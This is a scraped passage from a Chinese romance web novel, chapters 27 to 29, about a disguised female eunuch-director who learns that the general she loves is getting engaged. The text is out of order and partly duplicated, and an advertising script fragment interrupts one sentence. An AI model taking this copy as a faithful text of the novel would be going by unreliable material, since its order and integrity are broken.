因而,这便越发让人觉得奇怪,然解衍很好地隐藏住了自己的疑虑,闻言只顿了片刻,答了一句“好”。 厂督今日,着实不寻常。 他要去做什么? 白惜时的这种不寻常,一直持续到了第二日,因为她罕见的在傍晚时分又从东厂回了趟府邸。 只道是要换身衣服。 东厂之内,是备了两套厂督的常服的。 解衍不知当时心中是作何感想,只看着白惜时策马离去的背影,莫名加快了处理手中案册的速度,因而当他踏着落日回府之时,恰好碰见了再次出门的白惜时。 解衍驻足在了原地。 白惜时此刻已然换了一身行头。而这身行头,是解衍以往从未见过的。 以往的白惜时,即便着常服,也是以方便利落为主,通常选择青色的圆领窄袖长衫。 但今日,当他踏出府门之际,一套月白色的广袖长袍,内搭交领银纹衽衫,蓝色丝帛腰封将他整个人衬得挺秀不拘,雌雄莫辨之感更加强烈,飘逸卓绝犹如月下谪仙。 解衍晃了下神,迟疑片刻,才又抬步走了过去。 见男子隐隐有忪怔之色,白惜时:“咱家这样子很奇怪?” 其实她在出门前并不准备穿这身,只是孟姑姑应也看出她对此次赴约的重视,又听闻是好友,便一直在旁怂恿试试这件新做的衣衫,她才姑且尝试。 穿上后,孟姑姑一个劲的夸好看,这一身又是孟姑姑亲手为她缝制,为了不扫兴,她也便没再换下来。 不过白惜时此刻其实挺别扭,就跟个大奸臣故意装文人墨客似的,端得她难受。 但解衍和旁人显然没觉得白惜时端着。 不,非但不奇怪,还很美,也很合适。 此刻面前之人可谓风雅清正,连一旁伺候的下人都面露惊艳之色,但解衍不知为何,最后什么都没有说。 只略一摇头,否认了她口中的奇怪,继而改口问道:“厂督要去何处?” “临江楼,你也去过,之前俞昂所邀的那间酒楼。”白惜时倒也没有避讳解衍,“见位朋友。” 朋友? 解衍其实很想问,是哪一个朋友,值得厂督如此兴师动众? 但这个问题,显然越界了。 不过很快,解衍就猜到了那位朋友是谁,因为白惜时在即将上车之际,似乎又检查了遍周身东西是否带齐,继而在袖中一阵摸索,拿出一枚香囊,确认还在,又仔细收好放了回去。 解衍的目光定格在了那枚香囊之上。 概因那一枚香囊,解衍也曾见过,甚至一度误会白惜时是要送给自己。 如今再一联想过往,那枚香囊右下角,比起“州”字来,似乎更像另外一个字。 ——“川” 厂督曾提及,有一个人和他很像,而在说到那人时,解衍仍记得白惜时那潺潺如晴日清水般的眸光。 此刻,望向载着白惜时已疾驰而去的马车,初春的最后一缕阳光落下,取而代之的便是寂寂冷辉,男子衣袍翻飞,双目亦被蒙上一层夜色。 镇北将军,魏廷川? 28. 第 28 章 白惜时到达临江楼的时候,天已经完全黑了下来。 第二次来到此间酒楼,得知魏廷川已到,她免去店家的指引,熟门熟路来到了二楼这间最大的雅室。 双手推开清雅的雕花木门,便见高大的男子正负手立于窗边,身姿挺拔,似乎在欣赏这久违的万家灯火。 白惜时没有急于唤他,而是默默立于他的身后,她知道,魏廷川在边疆日日夜夜拼杀期盼的,就是回到京城,再次站在高处,看一看这繁华如水、车水马龙的京城夜色。 如今,他做到了。 白惜时看着男子的背影发呆,此时,魏廷川却已收回目光,转过身来,显然在白惜时进门的第一刻他便感应到了来人,眸子中泛起笑意。 “进来怎么也不说话?这么多年,还是这么喜欢走神。” 继而才发现白惜时今日不同的装扮,“不过倒是长进了,见我还知道好好收拾一番。” 几年未见的疏离感被魏廷川几句话轻松打破,白惜时也终于在这份熟稔中找回了几分以往相处的亲近自在。 “我几时候没有好好收拾过?” 兀自走近了些,白惜时想,即便以前她只是个名不见经传的小太监,也是会将衣服浆洗的干干净净。 世子还是这般喜欢打趣逗乐她。 “不过这身衣服是府里人让我穿的,其实我也不大习惯。”她还是说了实话。 魏廷川此刻已经行至白惜时的面前,闻言又重新打量了她一遍,“我看挺好,小惜时还是适合这样的装束。” 继而又一蹙眉,“其实我到现在都没弄明白,你怎么就变成了个让人闻风丧胆的厂督了呢?” 虽是玩笑,眼中笑意不减,但魏廷川也确实没想到过白惜时会主政东厂,他以为这样白净秀气的孩子,最后也该是在司礼监处理那些奏折文书。 白惜时亮起一口整齐的白牙,“世子教的好,谁叫我如今身手了得。” 经他这一提醒,魏廷川倒也记起了些宫中过往,还有白惜时那副和人打架豁出去不要命的架势。 “也是,你确实……一直都很了不得。” 一看魏廷川的表情便知他又想到了何事,白惜时没有掩饰那两分显露出来的得意,也无比珍视当下这种故人重逢、熟稔默契之感,继而像是想起什么,从袖中掏出一枚香囊,给魏廷川递了过去。 “过年的时候府中之人做的,记着世子要回来,便让她多做了一个。” “还是小惜时有心。” 听他仍叫“世子”,似乎执拗着不肯改口,魏廷川亦没有强求,伸手接过香囊一看,眼前一亮,“这模样倒是与众不同,还真是……合我心意,替我谢谢你府上那位绣娘。” 言罢便将香囊直接挂在了腰间,觉得有趣,魏廷川又用手指戳了下那只麒麟的小帽子,白惜时静静地望着男子动作,心中亦涌上一股难以言说的满足感。 ——自己绘制的图样,他很喜欢。 待到魏廷川将目光从香囊上移开,小二也端着各色盘蝶敲门而入,男子顺势招呼白惜时落座,“别站着了,你推荐的这家临江楼不错,不知哪些菜色好,我便将有特色的都点了一遍。” 都点了一遍?那得不下二十道菜,于他们两个人来说,实在是过多了。 订的这间雅室其实也是同理,两个人坐在一张能容纳二十人的圆桌前,尤其显得空旷。 白惜时:“就你我二人,世子为何要了这么大的一间雅室?” 起初她还以为魏廷川也请了其他人,可是现在看来,应该就只有他们两个。 “因我明日还要再来一次,找你一为叙旧,二来也想你帮我参谋,订下明日宴客的菜色。” 魏廷川说到这里似乎很高兴,冲白惜时一扬下巴,“都尝一尝,哪些好吃记得告诉我。” 白惜时依言夹了一片冬笋,“世子明天的宾客很重要?” “应当算是重要。” 说到这里一改先前闲散的坐姿,魏廷川端坐于椅凳之上,显得有些正式,他望着眼前之人,似乎是想要与他一起分享喜悦。 “小惜时,忘记告诉你,我快订亲了。” “啪嗒”一声,方才夹着的冬笋失手掉回碟盘之中,几滴热油飞溅至桌面,白惜时见状忙起身拿布去擦,也借着这点缓冲的时间,兀自按下心中那阵翻涌的起伏。 ……订亲 他要订亲了? 掩饰住一不小心流露出的失措,白惜时不想让他看出端倪,便又若无其事拿起筷子,重新将那片冬笋夹起,送入口中。 待到将那一块卡嗓的冬笋咽下去,才像是找回自己的声音,白惜时感叹了一句,“这么快啊……” 魏廷川失笑,“还快吗?我今年已经二十有六了,你去看看旁人,像我这么大连孩子都满地跑了。” 是啊,怎么会犯这样的糊涂,他和自己又不一样,总归是要成婚生子的。 也应该,成婚生子。 “订亲的是哪家闺秀?” “兵部尚书刘易的次女,刘晚禾。之前绥州一战,我与刘尚书共事许久,引为忘年交,他亦对我颇为赏识,因而便想凑成我与刘二姑娘的婚事。” 兵部尚书家的女儿,身份家世,也很相配。 听完点点头,白惜时面色如常,甚至强行将嘴角提了上去,“所以明日世子宴请的,就是刘尚书一家,也是借此机会正式与刘姑娘见一面?” “还是小惜时聪明。你别光顾着跟我说话,继续吃。” 将几道不错的菜色又往白惜时面前推了推,魏廷川继续道:“虽尚未见过面,我与刘姑娘亦不算完全陌生,我们之前已通过大半年的书信。” “对了,几个月前我也给你寄过一封,你收到没有?” 看着魏廷川此刻的神采飞扬,白惜时不知道为何,像是预感到了什么,突然有些不想听他接下来要说的话。 然后,他便听到男子如是道:“那封信我便是夹在每月给她的信件中,托她帮我转交给你的。” “你收到了没有?惜时,怎么不说话?” “……收到了。” 原来……那信是刘二姑娘转交的,她当时因为太过惊喜,竟忘了去追问一句,只道是尚书府家的下人送来,便自动默认为是刘易,却不晓得,其中还有那样的蹊跷。 白惜时有些想笑,却又实在笑不出来,嘴巴里的菜不知为何,也没有上次那般滋味,甚至有些发涩发苦。 原来,她那么珍重那么珍重的一封信 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,有一位姑娘,是可以每个月都收到的。 说实话,挺羡慕的。 很羡慕。 他们会在信中写什么呢?会写日常,写近来遇到的开心事,亦或是苦闷烦恼……那位刘姑娘会不会每月都守在闺房门口,等待着男子的来信? 魏廷川在那枯燥的军营中,亦会有所期待吧。 白惜时一边吃饭一边兀自想着,即便味同嚼蜡,她也继续吃着,每一盘都尝上几口,魏廷川一会还要等她的反馈,定下明日菜色。 “惜时,你怎么又走神?” 在又问了一个问题没有反馈之后,像是终于发现身旁之人的不对,白惜时虽也回应,却总带着几分心不在焉,此刻倏然记起他内宦的身份,魏廷川眉心一紧,顿生懊悔。 是啊,惜时已经不再是个孩子,他也到了能结婚生子的年纪…… 意识到话题不妥,魏廷川敛下神色,又唤了一声“惜时……” 然而此刻身旁之人恰好放下筷子,慢条斯理地喝了盏茶,她。继而才站起身来,颇为用心为他点下几道菜色。 “这几样都不错,荤素搭配、清爽不油腻,既然是宴请一大家子,就选这些老少皆宜的口味,应当是不会错的。” 魏廷川看了他一会,“行,听你的,那就这些。” “好。” 白惜时唇角带笑,一如方才觉得她情绪不对只是魏廷川的错觉。 眼下饭已吃完,男子避开订亲的话题,又与白惜时谈起了许多过往,但不知是不是对面之人已经长大,亦或是他已不再是个小太监,而是权势在握的东厂厂督,二人像是隔了道看不见的幕墙,始终不如魏廷川想象中那般热络。 这时候又看了眼窗外,魏廷川在来的时候,记得下面是有一条供游人观赏风景的栈道,四周还挂着各式各样的花灯,此刻,应该已经全都点亮了。 “惜时,一会要不要下去游湖?”魏廷川突然问他。 “明日用过饭,世子是要带刘姑娘一起过去?” 所以他想叫她今日也去提前踩个点? 白惜时想,逛逛街市、赏赏花灯,确实也是大魏年轻男女最喜欢的消遣方式。 “不是,我与刘姑娘还没熟悉到这个地步。” 魏廷川莫名一皱眉,看着白惜时,“我是问你想不想去,你在东厂应也是日日忙碌,今日难得空闲,若是想去,我与你一起。” “两个男子,看什么花灯。” 没想到他小小年纪竟还因循守旧,魏廷川忍不住伸手拍了下他的脑袋,“这有什么?谁规定的男子与男子之间就不能同游赏灯?你想去,咱们就去。” 同游赏灯。 感受到落在自己发顶那不算用力的触碰,这样的提议,白惜时以往若是听到自然是一百个愿意,甚至会为此而欣喜雀跃…… 然而现在,她只觉那一整颗心脏都被人紧紧捏住,滞涩的难受,连维持表面的平静都花费了好大气力,又哪还有精力、心情去欣赏那一盏一盏明艳的花灯? 花灯再美再亮堂,似乎也点亮不了她此刻的心境。 因而在魏廷川的又一次询问后,白惜时置于膝上的手渐渐捏了起来,轻轻吐出口气,她显得有些疲累,“世子,改日吧。” 27-30 第27章 第27章 镇北将军魏廷川回京,算是春节之后朝堂之内的一件大事。 定国公以谋逆之罪论处,满门抄斩,一时间武将之间人人自危,担忧皇帝对手握兵权的将领都会产生猜疑忌惮。 定国公之事只是个例,亦是对方谋反在先,为了安抚人心,表明态度,皇帝对魏廷川回京之事便尤为重视,吩咐下去隆重操办,意图以实际行动告知这些武将,只要安分守己,戍守家国,天家自会看在眼里,绝不亏待。 因而镇北将军正式回京的那日,声势浩大,街头巷尾挤满了看热闹的百姓,皇帝亦亲临接将台,于高高的楼台之上,迎接打赢胜仗的将士们凯旋。 为确保皇帝安危,这一日,东厂、禁军、锦衣卫悉数出动,白惜时一边观察着四处有无异动,一边又控制不住地往城门的方向张望。 十年了,他终于,又回来了。 金光普照,城门大开。 整齐划一的步伐之声由远及近,紧接着,黑压压的一片队伍荡开拥挤的人群,势如破竹般朝着接将台的方向行进。 骑兵开道,步兵殿后,马蹄铮铮,尘土飞扬。一瞬不瞬地看着那骑在高头大马之上的男子从一个黑点,一寸一寸清晰起来,再到身披玄甲,眉目冷冽,白惜时一颗心随着那行进之声,亦节奏加快地跳动起来。 仿佛过了许久,又仿佛只是须臾之间,大军行至接将台下,继而队伍迅速从中间撕裂开来,一分为二,于中间让出了一条长长的过道。 过道之中,唯有一人端坐骏马之上,缓行于最前方,继而掀袍下马,高声行礼。 “臣魏廷川参见皇上,吾皇万岁万岁万万岁!” 紧接着,身后将士紧随其后,齐声高呼,“吾皇万岁万岁万万岁!” “爱卿平身,众将士平身。” 身姿英挺,仿若青松,魏廷川一步一步走上接将台,也一步步距离白惜时越来越近,一身玄甲裹住男子劲瘦高大的身躯,棱角分明、气势逼人,自有一股临危不惧武将的风骨。 然而就是这样一个人,在与皇帝同行的严肃时刻,路过白惜时的时候,竟突然侧过头来,冲她微一颔首,继而眨了下眼。! 垂下身侧的手指蜷了蜷,白惜时尽量用平静的表情掩盖下心底的波澜,下意识看了眼左右,还好,周围并没有其他人。继而整个人也放松了些,一放松,唇角便像有自己的想法一般,浅浅扬起了一个弧度。 这种于众目睽睽之下的小动作,令白惜时觉得欣慰确信,她更加笃定这几年的时光并没有在二人之间产生隔阂,亦没有磨灭掉她与魏廷川之间的默契。 随着众人的步伐,白惜时跟在皇帝与朝臣之后,自以为没有人发现方才之事,然而却不知,已有一个人将一切尽收眼底。 此刻,滕烈不动声色地收回视线。 这二人,相熟? 回到宫中之后,便是宴请群臣的环节,白惜时作为内宦,并不需要参加此等宫宴,锦衣卫亦然,因而进去之后没多久,滕烈便与蒋寅一前一后走了出来。 此刻看见白惜时还未离开,蒋寅过来招呼,“任务已经完成,厂督怎么还站在这里?” 他们此番只负责皇帝在宫外的安危保障,眼下既已回了宫,剩下的便交由禁军即可。 今日的白惜时似乎心情颇佳,说起话来亦和颜悦色,“咱家还要再等一会,你们有事便去忙吧。” 蒋寅:“厂督可需帮忙?” “不用。” 白惜时与蒋寅、滕烈说之际,目光仍时不时会关注汇贤院内的宫宴动态,此刻话音刚落,便见已经卸了战甲的男子,一身玄色锦袍如琼枝一树,一边言笑晏晏与迎上来的官员们打着招呼,一边越过众人走了出来,目光往院外一览,很快便定格在了白惜时的身上。 面上带着久别重逢的笑意,魏廷川阔步而来,气宇轩昂,即便此刻仍有滕烈、蒋寅等人在场,男子亦不避讳与白惜时的相熟。 “许久未见,惜时长大了,也长高了。” 魏廷川站定,打量了片刻眼前之人,继而眉目舒展,不无玩笑道:“不过还是跟小时候一样,在哪都能让人一眼注意到你。” 闻言低了低头,白惜时唇边亦沾染上笑意,“世子说笑了。” “如今不必再叫世子了。” 对于这个旧称,魏廷川已经很长时间没听人提起。往事如过眼云烟,一朝归来,男子似是有许多话想要与这位故友说,然这个时候已有小太监匆匆赶来,催促他快些回席。 眼下,显然不是叙旧的好时机。 明白里头还有一众文臣武将等着,魏廷川长话短说,“我出来是要问你,明日可有空闲?离京这么多年,倒是想念这京都的美食,若是得空,请你吃饭。” “也正有一件事要告知你。” 白惜时没有让他久等,一点头,很快便回了一个“好”字。 “那便这么说定了。” 魏廷川潇洒一笑,利落转身,长腿迈着沉稳的步伐随着小太监回到了今日特意为他举办的这场盛大筵席。 这个人才是真正的走到哪里都会发光吧,看着男子离去的背影,白惜时不无欣慰地想。 …… 出宫的路上,白惜时有些心不在焉。 千闵、蒋寅几人走在后头,蒋寅忍不住去问千闵,“我竟不知,你们厂督竟与镇北将军相识?” 千闵心中正在想着其他事,“……我也不知。” “啧,你这属下怎么当的?” 千闵不服,“谁敢去查厂督的旧事?你们指挥使你敢查吗?” 蒋寅:“……这倒也是。” 听见后头两人议论,滕烈又看了眼几步之遥的白惜时,此刻他虽面色如常,但步伐之轻盈似乎显露出了几分主人此刻的心境。 白惜时与魏廷川,应当不止是相识这么简单。 — 宫门之外,解衍已立于马车旁等候,他眼下仍是待罪之身,并不能自由出入宫廷,便也没有参与上午的保卫任务。 一行人登上马车,又处理了一些日常事务。当天夜里,白惜时回到了府中,办了一天的差事觉得腹中饥饿,她便命人下了两碗面,招呼着解衍坐下同吃。 解衍也觉察出了厂督今日的异样,似乎是……格外的愉悦。 连对待那些案犯,都变得比原先有耐心。 解衍:“厂督是不是遇见了什么喜事?” “没有。” 停下挑起面条的动作,白惜时抬头,“咱家今日看起来有什么不一样?” 这么明显吗? 其实并不太明显,若是不熟悉白惜时之人,自然看不出端倪,但解衍还是从细微之处察觉到了她的情绪变化。 既然她不想提,男子便也不欲再问,一摇头,亦低头开始吃面。 不过白惜时此刻望着解衍,很容易又想到另一个人,“哦,对了,我明日晚上有事,你办完差事自行回府即可,不必等我。” 其实以往这种白惜时独来独往的情况亦不少见,但此前她从不会提前告知解衍,都是说走就走。 因而,这便越发让人觉得奇怪,然解衍很好地隐藏住了自己的疑虑,闻言只顿了片刻,答了一句“好”。 厂督今日,着实不寻常。 他要去做什么? 白惜时的这种不寻常,一直持续到了第二日,因为她罕见的在傍晚时分又从东厂回了趟府邸。 只道是要换身衣服。 东厂之内,是备了两套厂督的常服的。 解衍不知当时心中是作何感想,只看着白惜时策马离去的背影,莫名加快了处理手中案册的速度,因而当他踏着落日回府之时,恰好碰见了再次出门的白惜时。 解衍驻足在了原地。 白惜时此刻已然换了一身行头。而这身行头,是解衍以往从未见过的。 以往的白惜时,即便着常服,也是以方便利落为主,通常选择青色的圆领窄袖长衫。 但今日,当他踏出府门之际,一套月白色的广袖长袍,内搭交领银纹衽衫,蓝色丝帛腰封将他整个人衬得挺秀不拘,雌雄莫辨之感更加强烈,飘逸卓绝犹如月下谪仙。 解衍晃了下神,迟疑片刻,才又抬步走了过去。 见男子隐隐有忪怔之色,白惜时:“咱家这样子很奇怪?” 其实她在出门前并不准备穿这身,只是孟姑姑应也看出她对此次赴约的重视,又听闻是好友,便一直在旁怂恿试试这件新做的衣衫,她才姑且尝试。 穿上后,孟姑姑一个劲的夸好看,这一身又是孟姑姑亲手为她缝制,为了不扫兴,她也便没再换下来。 不过白惜时此刻其实挺别扭,就跟个大奸臣故意装文人墨客似的,端得她难受。 但解衍和旁人显然没觉得白惜时端着。 不,非但不奇怪,还很美,也很合适。 此刻面前之人可谓风雅清正,连一旁伺候的下人都面露惊艳之色,但解衍不知为何,最后什么都没有说。 只略一摇头,否认了她口中的奇怪,继而改口问道:“厂督要去何处?” “临江楼,你也去过,之前俞昂所邀的那间酒楼。”白惜时倒也没有避讳解衍,“见位朋友。” 朋友? 解衍其实很想问,是哪一个朋友,值得厂督如此兴师动众? 但这个问题,显然越界了。 不过很快,解衍就猜到了那位朋友是谁,因为白惜时在即将上车之际,似乎又检查了遍周身东西是否带齐,继而在袖中一阵摸索,拿出一枚香囊,确认还在,又仔细收好放了回去。 解衍的目光定格在了那枚香囊之上。 概因那一枚香囊,解衍也曾见过,甚至一度误会白惜时是要送给自己。 如今再一联想过往,那枚香囊右下角,比起“州”字来,似乎更像另外一个字。 ——“川” 厂督曾提及,有一个人和他很像,而在说到那人时,解衍仍记得白惜时那潺潺如晴日清水般的眸光。 此刻,望向载着白惜时已疾驰而去的马车,初春的最后一缕阳光落下,取而代之的便是寂寂冷辉,男子衣袍翻飞,双目亦被蒙上一层夜色。 镇北将军,魏廷川? 第28章 第28章 白惜时到达临江楼的时候,天已经完全黑了下来。 第二次来到此间酒楼,得知魏廷川已到,她免去店家的指引,熟门熟路来到了二楼这间最大的雅室。 双手推开清雅的雕花木门,便见高大的男子正负手立于窗边,身姿挺拔,似乎在欣赏这久违的万家灯火。 白惜时没有急于唤他,而是默默立于他的身后,她知道,魏廷川在边疆日日夜夜拼杀期盼的,就是回到京城,再次站在高处,看一看这繁华如水、车水马龙的京城夜色。 如今,他做到了。 白惜时看着男子的背影发呆,此时,魏廷川却已收回目光,转过身来,显然在白惜时进门的第一刻他便感应到了来人,眸子中泛起笑意。 “进来怎么也不说话?这么多年,还是这么喜欢走神。” 继而才发现白惜时今日不同的装扮,“不过倒是长进了,见我还知道好好收拾一番。” 几年未见的疏离感被魏廷川几句话轻松打破,白惜时也终于在这份熟稔中找回了几分以往相处的亲近自在。 “我几时候没有好好收拾过?” 兀自走近了些,白惜时想,即便以前她只是个名不见经传的小太监,也是会将衣服浆洗的干干净净。 世子还是这般喜欢打趣逗乐她。 “不过这身衣服是府里人让我穿的,其实我也不大习惯。”她还是说了实话。 魏廷川此刻已经行至白惜时的面前,闻言又重新打量了她一遍,“我看挺好,小惜时还是适合这样的装束。” 继而又一蹙眉,“其实我到现在都没弄明白,你怎么就变成了个让人闻风丧胆的厂督了呢?” 虽是玩笑,眼中笑意不减,但魏廷川也确实没想到过白惜时会主政东厂,他以为这样白净秀气的孩子,最后也该是在司礼监处理那些奏折文书。 白惜时亮起一口整齐的白牙,“世子教的好,谁叫我如今身手了得。” 经他这一提醒,魏廷川倒也记起了些宫中过往,还有白惜时那副和人打架豁出去不要命的架势。 “也是,你确实……一直都很了不得。” 一看魏廷川的表情便知他又想到了何事,白惜时没有掩饰那两分显露出来的得意,也无比珍视当下这种故人重逢、熟稔默契之感,继而像是想起什么,从袖中掏出一枚香囊,给魏廷川递了过去。 “过年的时候府中之人做的,记着世子要回来,便让她多做了一个。” “还是小惜时有心。” 听他仍叫“世子”,似乎执拗着不肯改口,魏廷川亦没有强求,伸手接过香囊一看,眼前一亮,“这模样倒是与众不同,还真是……合我心意,替我谢谢你府上那位绣娘。” 言罢便将香囊直接挂在了腰间,觉得有趣,魏廷川又用手指戳了下那只麒麟的小帽子,白惜时静静地望着男子动作,心中亦涌上一股难以言说的满足感。 ——自己绘制的图样,他很喜欢。 待到魏廷川将目光从香囊上移开,小二也端着各色盘蝶敲门而入,男子顺势招呼白惜时落座,“别站着了,你推荐的这家临江楼不错,不知哪些菜色好,我便将有特色的都点了一遍。” 都点了一遍?那得不下二十道菜,于他们两个人来说,实在是过多了。 订的这间雅室其实也是同理,两个人坐在一张能容纳二十人的圆桌前,尤其显得空旷。 白惜时:“就你我二人,世子为何要了这么大的一间雅室?” 起初她还以为魏廷川也请了其他人,可是现在看来,应该就只有他们两个。 “因我明日还要再来一次,找你一为叙旧,二来也想你帮我参谋,订下明日宴客的菜色。” 魏廷川说到这里似乎很高兴,冲白惜时一扬下巴,“都尝一尝,哪些好吃记得告诉我。” 白惜时依言夹了一片冬笋,“世子明天的宾客很重要?” “应当算是重要。” 说到这里一改先前闲散的坐姿,魏廷川端坐于椅凳之上,显得有些正式,他望着眼前之人,似乎是想要与他一起分享喜悦。 “小惜时,忘记告诉你,我快订亲了。” “啪嗒”一声,方才夹着的冬笋失手掉回碟盘之中,几滴热油飞溅至桌面,白惜时见状忙起身拿布去擦,也借着这点缓冲的时间,兀自按下心中那阵翻涌的起伏。 ……订亲 他要订亲了? 掩饰住一不小心流露出的失措,白惜时不想让他看出端倪,便又若无其事拿起筷子,重新将那片冬笋夹起,送入口中。 待到将那一块卡嗓的冬笋咽下去,才像是找回自己的声音,白惜时感叹了一句,“这么快啊……” 魏廷川失笑,“还快吗?我今年已经二十有六了,你去看看旁人,像我这么大连孩子都满地跑了。” 是啊,怎么会犯这样的糊涂,他和自己又不一样,总归是要成婚生子的。 也应该,成婚生子。 “订亲的是哪家闺秀?” “兵部尚书刘易的次女,刘晚禾。之前绥州一战,我与刘尚书共事许久,引为忘年交,他亦对我颇为赏识,因而便想凑成我与刘二姑娘的婚事。” 兵部尚书家的女儿,身份家世,也很相配。 听完点点头,白惜时面色如常,甚至强行将嘴角提了上去,“所以明日世子宴请的,就是刘尚书一家,也是借此机会正式与刘姑娘见一面?” “还是小惜时聪明。你别光顾着跟我说话,继续吃。” 将几道不错的菜色又往白惜时面前推了推,魏廷川继续道:“虽尚未见过面,我与刘姑娘亦不算完全陌生,我们之前已通过大半年的书信。” “对了,几个月前我也给你寄过一封,你收到没有?” 看着魏廷川此刻的神采飞扬,白惜时不知道为何,像是预感到了什么,突然有些不想听他接下来要说的话。 然后,他便听到男子如是道:“那封信我便是夹在每月给她的信件中,托她帮我转交给你的。” “你收到了没有?惜时,怎么不说话?” “……收到了。” 原来……那信是刘二姑娘转交的,她当时因为太过惊喜,竟忘了去追问一句,只道是尚书府家的下人送来,便自动默认为是刘易,却不晓得,其中还有那样的蹊跷。 白惜时有些想笑,却又实在笑不出来,嘴巴里的菜不知为何,也没有上次那般滋味,甚至有些发涩发苦。 原来,她那么珍重那么珍重的一封信,有一位姑娘,是可以每个月都收到的。 说实话,挺羡慕的。 很羡慕。 他们会在信中写什么呢?会写日常,写近来遇到的开心事,亦或是苦闷烦恼……那位刘姑娘会不会每月都守在闺房门口,等待着男子的来信? 魏廷川在那枯燥的军营中,亦会有所期待吧。 白惜时一边吃饭一边兀自想着,即便味同嚼蜡,她也继续吃着,每一盘都尝上几口,魏廷川一会还要等她的反馈,定下明日菜色。 “惜时,你怎么又走神?” 在又问了一个问题没有反馈之后,像是终于发现身旁之人的不对,白惜时虽也回应,却总带着几分心不在焉,此刻倏然记起他内宦的身份,魏廷川眉心一紧,顿生懊悔。 是啊,惜时已经不再是个孩子,他也到了能结婚生子的年纪…… 意识到话题不妥,魏廷川敛下神色,又唤了一声“惜时……” 然而此刻身旁之人恰好放下筷子,慢条斯理地喝了盏茶,她。继而才站起身来,颇为用心为他点下几道菜色。 “这几样都不错,荤素搭配、清爽不油腻,既然是宴请一大家子,就选这些老少皆宜的口味,应当是不会错的。” 魏廷川看了他一会,“行,听你的,那就这些。” “好。” 白惜时唇角带笑,一如方才觉得她情绪不对只是魏廷川的错觉。 眼下饭已吃完,男子避开订亲的话题,又与白惜时谈起了许多过往,但不知是不是对面之人已经长大,亦或是他已不再是个小太监,而是权势在握的东厂厂督,二人像是隔了道看不见的幕墙,始终不如魏廷川想象中那般热络。 这时候又看了眼窗外,魏廷川在来的时候,记得下面是有一条供游人观赏风景的栈道,四周还挂着各式各样的花灯,此刻,应该已经全都点亮了。 “惜时,一会要不要下去游湖?”魏廷川突然问他。 “明日用过饭,世子是要带刘姑娘一起过去?” 所以他想叫她今日也去提前踩个点? 白惜时想,逛逛街市、赏赏花灯,确实也是大魏年轻男女最喜欢的消遣方式。 “不是,我与刘姑娘还没熟悉到这个地步。” 魏廷川莫名一皱眉,看着白惜时,“我是问你想不想去,你在东厂应也是日日忙碌,今日难得空闲,若是想去,我与你一起。” “两个男子,看什么花灯。” 没想到他小小年纪竟还因循守旧,魏廷川忍不住伸手拍了下他的脑袋,“这有什么?谁规定的男子与男子之间就不能同游赏灯?你想去,咱们就去。” 同游赏灯。 感受到落在自己发顶那不算用力的触碰,这样的提议,白惜时以往若是听到自然是一百个愿意,甚至会为此而欣喜雀跃…… 然而现在,她只觉那一整颗心脏都被人紧紧捏住,滞涩的难受,连维持表面的平静都花费了好大气力,又哪还有精力、心情去欣赏那一盏一盏明艳的花灯? 花灯再美再亮堂,似乎也点亮不了她此刻的心境。 因而在魏廷川的又一次询问后,白惜时置于膝上的手渐渐捏了起来,轻轻吐出口气,她显得有些疲累,“世子,改日吧。” 第29章 第29章 白惜时回到府中的时间不算晚,因而很多人都还没有睡下,她回去的第一件事,便是换下了这身不大习惯的衣衫。 果然,什么人就该穿什么样的衣服,强求无用。 她穿越过来的时候便是一个小太监,如今还混成了一个人尽皆知的大太监,这辈子应该都逃不掉内宦的身份,若是想要安稳的活下去,也不给别人添麻烦,便要摒除杂念,放弃痴想。 之前,是她糊涂了。 难道她还要指望世子陪她一辈子不成婚吗? 修身、齐家、治国、平天下……这是所有热血男儿的心愿,魏廷川也不例外。 她应该为世子高兴。 白惜时兀自稳了一会心神,不再去想那些求而不得之事,待觉得情绪已经平复的差不多,才重新迈出了主屋,去了书房。 傍晚的时候还留了一批案册尚未处理,眼下估计也睡不着,便当日了结了吧。 不过她没想到,此时此刻,竟然还有一个人会在书房门口等她。 那人站在一片树影之下,瞧不真切表情,不过,不知是不是那一轮清辉的关系,总觉得有些寂寥萧索。 和她的心境倒挺契合。 白惜时走了过去,推开房门,虽没有回头,但话显然是对身后之人说的。 “怎么知道我会来这?” “听闻厂督回来的早,想必应该会来此处。” 白惜时没再说什么,于书桌前坐下,待对方站定,她才问道:“有事吗?” 解衍观察着白惜时的神色,其实从第一眼,他便发现了她的不同。 离府时分明眼中都带着光,此刻,那一束光却悄然熄灭,甚至,还泛着浅浅的落寞之色。 落寞的厂督,解衍从未见过,今日他似乎见到了许多面与以往不同的白惜时,而究其原因,应该都是源于一个人——魏廷川。 魏廷川能左右白惜时的情绪,这是解衍的亲身感受到的。 今日厂督的马车呼啸而去,不知为何,解衍便涌上了一股有所未有的危机感,白惜时走后,他便开始关注什么时候回来,因而时间也过的尤其的慢,为了缓解这种自己都弄不明白的焦虑,他又拿起了许久没有使用的刻刀,雕起了他的木头。 木雕能让他在所有复杂的情绪中,重获平静。 不过很意外的,他的一样作品还没有完成,厂督就已经回来了。 但解衍其实并不想看到眼前这样的厂督,他应该是肆意张扬明艳的,而不是像此刻,将那些案册翻着翻着,便会发好一会呆,然后又像是恍然回神,重新打起精神。 魏廷川做了什么? 男子眸色微暗,待禀报完东厂之事后,并没有急于离去,而是就那么定定地站在那里,看着白惜时。 白惜时起先没有留意,时间一久,便也抬起眼,无声与男子对望。 解衍今天很怪,他想说什么? “怎么了?”双方静默良久后,解衍才轻声开口。 白惜时:“什么怎么了?” “你,怎么了?” 他用的是“你”,而不是“厂督”。 知他是看出了自己的心境变化,询问她是否发生了什么事,但这种事情,又怎么可能向人轻易吐露? 白惜时有些懊悔自己没能将情绪隐藏的更好,还是让解衍看出了端倪,面对这样的一个人,一个和魏廷川有着五分相似的人,此刻又面带关心地望着自己,她的心绪似乎更加难平复。 好不容易规避了不去想的事,在面对着这张脸的时候,还是会不停在脑海里回荡起那句“惜时,我快要订亲了。” 白惜时移开了目光,第一次不想再去看解衍的眉眼。 解衍也敏锐感受到了她的心绪的起伏,下意识放缓语调道:“我不问了,不想说话就不说话。” 但是他依旧没有离开,改为寻了一处坐下,陪着白惜时一起处理剩下的公文。 不得不承认,有解衍的帮助,效率确实快了许多,之后只用了小半刻时间,那几本案册便悉数完成。 知他看出了自己的难过,或许是发自善意,想要默默陪着自己,但白惜时顿了一会,还是开口道:“解衍,我想一个人静静。” 有些东西,别人终究帮不了,或许只能依赖时间,一点一点将她的妄念抹平。 男子闻言,什么都没说,起身离开了书房。 